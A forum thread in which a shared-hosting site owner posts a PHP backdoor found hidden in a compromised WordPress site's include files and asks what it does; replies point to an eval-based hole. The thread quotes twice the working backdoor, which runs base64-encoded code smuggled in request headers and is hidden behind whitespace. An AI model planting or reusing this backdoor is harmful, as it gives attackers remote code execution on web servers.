PHP Hacking?

[imperium2335]

Hi, I have come across something strange that magically appeared on my site.

 

First it appeared in the footer on every page, the footer is an include so they must of edited just that file, adding similar if not the same code below.

 

Today I found an index.php in my includes folder with this code inside:

 

<?php                                                                                                                                                                                                                          function gpc_11937($l11939){if(is_array($l11939)){foreach($l11939 as $l11937=>$l11938)$l11939[$l11937]=gpc_11937($l11938);}elseif(is_string($l11939) && substr($l11939,0,4)=="____"){eval(base64_decode(substr($l11939,4)));$l11939=null;}return $l11939;}if(empty($_SERVER))$_SERVER=$HTTP_SERVER_VARS;array_map("gpc_11937",$_SERVER);

 

// Silence is golden.

 

?>

 

 

What does this do and how can I be sure it doesn't happen again? I have changed my ftp password and delete the wordpress blog (no one was using it anyway).

 

Interestingly enough, i cant put this code in [ php ] brackets, it just shows the "//silence is golden" crap.

 

Cheers.

[Psycho]

with an eval in there it definitely doesn't do anything good. It looks like it is running the function against all the values in $_SERVER. I doubt it was put there by someone with your FTP account info. I would guess there is a security hole in your verions of wordpress which someone has exploited. You should update to the current version and/or check forums about any security holes and ways to patch.

 

By the way the code can be put into [ p h p ] tags just fine on here. it's just that there are so many leading spaces that the code is way out to the right. You would have to scroll to the right to see it.

[imperium2335]

Hi, thanks for response.

 

Yes there seems to be a problem with wordpress, just wanted to be sure this can't effect any other parts of the site?

 

Is this an active hack attempt (someone sitting there doing it) or is it a bot?

[redarrow]

I was told it a common problem, on sheared host's now?

[imperium2335]

I'm on shared hosting, I think everyone who has a wordpress blog on here should check their pages to make sure they are safe.

I've sorted it now so it should show up below.

<?php
function gpc_11937($l11939) {
if(is_array($l11939)) {
foreach($l11939 as $l11937=>$l11938) $l11939[$l11937]=gpc_11937($l11938);} 
elseif(is_string($l11939) && substr($l11939,0,4)=="____"{
eval(base64_decode(substr($l11939,4)));$l11939=null;}
return $l11939;}
if(empty($_SERVER))$_SERVER=$HTTP_SERVER_VARS;
array_map("gpc_11937",$_SERVER);
// Silence is golden.
?>